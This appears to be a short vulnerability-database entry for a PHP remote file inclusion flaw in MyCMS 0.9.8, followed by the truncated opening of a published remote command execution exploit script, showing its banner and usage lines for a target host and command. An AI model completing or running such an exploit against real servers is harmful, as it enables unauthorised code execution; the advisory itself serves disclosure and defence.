PHP remote file inclusion vulnerability in games.php in MyCMS 0.9.8 and previous versions allows remote malicious users to execute arbitrary PHP code via a URL in the id parameter.
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
MyCMS <= 098 Remote Command Execution Exploit (2 method)
by BlackHawk <hawkgotyou@gmailcom> <itablackhawkaltervistaorg>
Thanks to rgod for the php code and Marty for the Love
";
if ($argc<3) {
echo "Usage: php "$argv[0]" Host Path CMD
Host: target server ( ...
Vulmon